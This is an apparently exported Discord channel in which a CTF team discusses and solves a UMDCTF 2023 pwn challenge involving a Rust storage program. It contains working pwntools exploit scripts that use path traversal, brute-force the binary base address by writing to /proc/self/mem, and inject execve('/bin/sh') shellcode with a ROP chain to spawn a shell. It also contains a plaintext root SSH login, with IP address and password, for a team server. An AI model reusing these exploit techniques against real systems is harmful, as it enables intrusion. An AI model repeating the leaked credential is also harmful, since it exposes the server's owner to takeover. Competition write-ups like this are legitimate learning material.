Guild icon
Project Sekai
πŸ”’ UMDCTF 2023 / βœ…-pwn-bills-blazingly-fast-memory-safe-pocket-monster-storage-system
Avatar
Bill's Blazingly Fast Memory Safe Pocket Monster Storage System - 500 points
Category: Pwn Description: Bill developed a new PC to store his Pocket Monstersβ„’ in this newfangled blazing fast language! It doesn't even have any unsafe code! Author: Triacontakai nc 0.cloud.chals.io 26780 Files:Tags: No tags.
Sutx pinned a message to this channel. 04/28/2023 7:59 PM
Avatar
@fleming wants to collaborate 🀝
Avatar
@Violin wants to collaborate 🀝
Avatar
@Zafirr wants to collaborate 🀝
Avatar
long rust code
23:32
tria i dont wanna do this
Avatar
@Johnathan Huu Tri wants to collaborate 🀝
Avatar
Johnathan Huu Tri 04/29/2023 3:13 AM
I can see path traversal only πŸ₯²
Avatar
Johnathan Huu Tri 04/29/2023 5:37 AM
maybe it's heap overflow
05:37
I got error when reading from db
Avatar
Johnathan Huu Tri 04/29/2023 8:01 AM
it helps me input the string ../flag.txt to the db
08:01
#!/usr/bin/python3 from pwn import * exe = ELF('bbfmspmss', checksec=False) context.binary = exe def create(name): sla(b'> ', b'1') sla(b'Name: ', name) def delete(name): sla(b'> ', b'2') sla(b'Name: ', name) def list_box(): sla(b'> ', b'3') def deposit(name, slot, num, nickname): sla(b'> ', b'4') sla(b'Name: ', name) sla(b'Slot: ', str(slot).encode()) sla(b'Number: ', str(num).encode()) sla(b'Nickname: ', nickname) # def withdraw() def quit(): sla(b'> ', b'6') info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('') else: p = process(exe.path) delete(b'../db/boxes.db') create(b'../db/boxes.db') deposit(b'../db/boxes.db', 0, 0x1, b'../flag.txt') deposit(b'../db/boxes.db', 1, 0, b'\0') quit() if args.REMOTE: p = remote('') else: p = process(exe.path) list() delete(b'../db/boxes.db') p.interactive()
08:02
but seems useless because all function check for write permission but flag is readonly
08:02
so we cannot do much with the path ../flag.txt in database
Avatar
Avatar
Johnathan Huu Tri
I got error when reading from db
Johnathan Huu Tri 04/29/2023 8:04 AM
so I think doing heap overflow would be the reasonable way
Avatar
@IceCreamMan wants to collaborate 🀝
Avatar
Avatar
Johnathan Huu Tri
#!/usr/bin/python3 from pwn import * exe = ELF('bbfmspmss', checksec=False) context.binary = exe def create(name): sla(b'> ', b'1') sla(b'Name: ', name) def delete(name): sla(b'> ', b'2') sla(b'Name: ', name) def list_box(): sla(b'> ', b'3') def deposit(name, slot, num, nickname): sla(b'> ', b'4') sla(b'Name: ', name) sla(b'Slot: ', str(slot).encode()) sla(b'Number: ', str(num).encode()) sla(b'Nickname: ', nickname) # def withdraw() def quit(): sla(b'> ', b'6') info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('') else: p = process(exe.path) delete(b'../db/boxes.db') create(b'../db/boxes.db') deposit(b'../db/boxes.db', 0, 0x1, b'../flag.txt') deposit(b'../db/boxes.db', 1, 0, b'\0') quit() if args.REMOTE: p = remote('') else: p = process(exe.path) list() delete(b'../db/boxes.db') p.interactive()
Johnathan Huu Tri 04/29/2023 5:42 PM
I asked Tria and this would be the intended way
17:43
the only problem is how to read the file when flag is readonly (edited)
Avatar
IceCreamMan 04/29/2023 6:04 PM
println!("matter_manipulator.so: cannot open shared object file: No such file or directory"); Is this file used anywhere?
18:05
seems like not used, not sure why the line is there
Avatar
Johnathan Huu Tri 04/29/2023 6:19 PM
nah it's not (edited)
18:19
I think we can use function list to read the flag
18:21
the format for file boxes.db is p64(number-of-box) + p64(len-of-box-name) + boxname + p64(len(slot)) + [p64(slot-number)] + p64(len-of-box-name) + boxname + p64(len(slot)) + [p64(slot-number)] + p64(len-of-box-name) + boxname + p64(len(slot)) + [p64(slot-number)]...
Avatar
IceCreamMan 04/29/2023 6:39 PM
i think when you use function list to read the flag, it will result in the memory allocation error
18:39
i tried
18:39
unless the flag.txt file is in valid "box" format?
Avatar
Johnathan Huu Tri 04/29/2023 6:40 PM
yeah maybe
18:40
but still not sure
Avatar
@afterworld wants to collaborate 🀝
Avatar
Johnathan Huu Tri 04/29/2023 7:51 PM
it's just a normal flag (edited)
Avatar
Johnathan Huu Tri 04/29/2023 8:38 PM
so the only thing we need is bypass to open the flag
20:38
because flag is readonly
20:38
but the program always check for both read and write permission
Avatar
@Legoclones wants to collaborate 🀝
Avatar
@Piers wants to collaborate 🀝
Avatar
tria pwn always 0 solve 🀣
🀣 1
Avatar
Johnathan Huu Tri 04/30/2023 2:12 AM
super hard XD
Avatar
intended prob bruted sth
Avatar
Johnathan Huu Tri 04/30/2023 3:39 AM
yeah I think so but the only problem is I still get stuck at how to open a readonly file
03:39
stuck from noon to now XD
Avatar
can you open /proc/self/mem ? (edited)
08:10
probably useless tho since no leaks (edited)
Avatar
Johnathan Huu Tri 04/30/2023 9:50 AM
nah it's impossible
09:50
the program require file with read and write permission (edited)
09:51
hm
09:53
yeah maybe that's the way
09:53
/proc/self/mem is writable
09:54
but only option 5 can be used
09:55
but nothing can be changed
Avatar
Avatar
Johnathan Huu Tri
#!/usr/bin/python3 from pwn import * exe = ELF('bbfmspmss', checksec=False) context.binary = exe def create(name): sla(b'> ', b'1') sla(b'Name: ', name) def delete(name): sla(b'> ', b'2') sla(b'Name: ', name) def list_box(): sla(b'> ', b'3') def deposit(name, slot, num, nickname): sla(b'> ', b'4') sla(b'Name: ', name) sla(b'Slot: ', str(slot).encode()) sla(b'Number: ', str(num).encode()) sla(b'Nickname: ', nickname) # def withdraw() def quit(): sla(b'> ', b'6') info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('') else: p = process(exe.path) delete(b'../db/boxes.db') create(b'../db/boxes.db') deposit(b'../db/boxes.db', 0, 0x1, b'../flag.txt') deposit(b'../db/boxes.db', 1, 0, b'\0') quit() if args.REMOTE: p = remote('') else: p = process(exe.path) list() delete(b'../db/boxes.db') p.interactive()
db doesnt remain after quitting right?
Avatar
there're some hints
Avatar
tf few minutes
Avatar
ok doable
Avatar
I think i kmow why the author takes a few minutes to run
Avatar
yeah really simple
11:48
im surprised about it having no solve
Avatar
blood it? πŸ‘€
Avatar
possible
πŸ‘€ 1
11:49
i dont like looking at decompiled rust though
Avatar
didnt they give source code?
Avatar
There is a step that requires throwing it at ida
Avatar
lol the bruteforce takes really long
13:49
can take up to 30 mins with local
Avatar
we can spawn VPS on US location
13:50
if thats why
13:50
cuz server is in US
13:50
oh wait local 30min
13:50
well you might need US VPS in remote more then?
Avatar
the thing is we have to brute the base address of binary
Avatar
aslr? how many bytes need brute
Avatar
like we can assum it is 0x55xxxxxxx000 (edited)
Avatar
ah ic
13:53
yeah
13:53
will take some time
Avatar
should probably ask tria
14:00
i think it takes too long
Avatar
can you open a ticket? they can answer
14:01
cuz no solve
14:01
Triacontakai β€” Today at 1:55 PM depending on how u have that set up u can speed it up pretty significantly
14:01
he said this before
14:01
when i told him we spent long time on bruting
Avatar
most i can speed up 0x5c times
14:02
still takes too long locally
Avatar
he said he can tell you if you open a ticket
14:03
in umdctf server
14:03
i think he doesnt want 0 solve
14:03
lol
14:04
Triacontakai β€” Today at 2:04 PM at this point u have basically solved the chall anyways so im fine with helping there since thats an annoying restriction of remote (since im guessing local is waaaay faster w/ wat ur prolly doing)
Avatar
currently i have this
14:11
from pwn import * #r = process("bbfmspmss") r = remote("0.cloud.chals.io", 26780) def create(name): r.sendlineafter("> ", b'1') r.sendlineafter("Name: ", name) def withdraw(name, slot): r.sendlineafter("> ", b'5') r.sendlineafter("Name: ", name) r.sendlineafter("Slot: ", str(slot).encode()) def deposit(name, slot, number, nickname): r.sendline(b'4') r.sendline(name) r.sendline(str(slot).encode()) r.sendline(str(number).encode()) r.sendlineafter("Nickname: ", nickname) base = 0x550000000000 with log.progress("Base") as L: while True: deposit("../../proc/self/mem",base // 0x20,0,b'a'); data = r.recv(0x10) if b'Failed' not in data: break base += 0x5c000 L.status(hex(base)) log.info(hex(base)) base -= 0x5c000 log.info(hex(base)) with log.progress("Base") as L: while True: deposit("../../proc/self/mem", base // 0x20, 0, b'a') data = r.recv(0x10) if b'Failed' not in data: break base += 0x1000 L.status(hex(base)) log.info(hex(base)) base1 = base + 0xe3a0 pop_rdi = base + 0x9106 deposit("../../proc/self/mem", (base + 0x7000) // 0x20, 1, b"/bin/sh".ljust(16,b'\0')) deposit("../../proc/self/mem", (base + 0x7020) // 0x20, 1, b"\x6A\x00\x6A\x00\x5E\x5A\x6A\x3B\x58\x0F\x05") deposit("../../proc/self/mem", base1 // 0x20, 1, b"\x6A\x00\x6A\x00\x58\x5F\x54\x5E\x68\x00\x10\x00\x00\x5A\x0F\x05") r.send(p64(pop_rdi) + p64(base + 0x7010) + p64(base + 0x7030)) r.interactive()
14:12
is there a vps?
14:12
a sec
Avatar
im gonna try to optimize a few things
Avatar
ssh root@67.205.182.223 d6TecM5P88N*17uFuQTpNgtIz
Avatar
lol too much work needed to optimize
15:22
and hey i have been running this for 1 hour πŸ₯²
15:22
and it bruteforced till 0x551000000000
15:50
hold on
15:50
why we dont just spam 16 instances anf each brute 1/16 of the first hex
15:50
oh wait
Avatar
yep i did that
Avatar
you solved it?
Avatar
Avatar
Piers
used /ctf solve
βœ… Challenge solved.
Avatar
so strong
Avatar
its just logic bugs
Avatar
piers orz
Avatar
so the speedup from tria is batching the deposits
Avatar
yeah i know just too much work
16:04
if i batch many the send takes too long
Exported 118 message(s)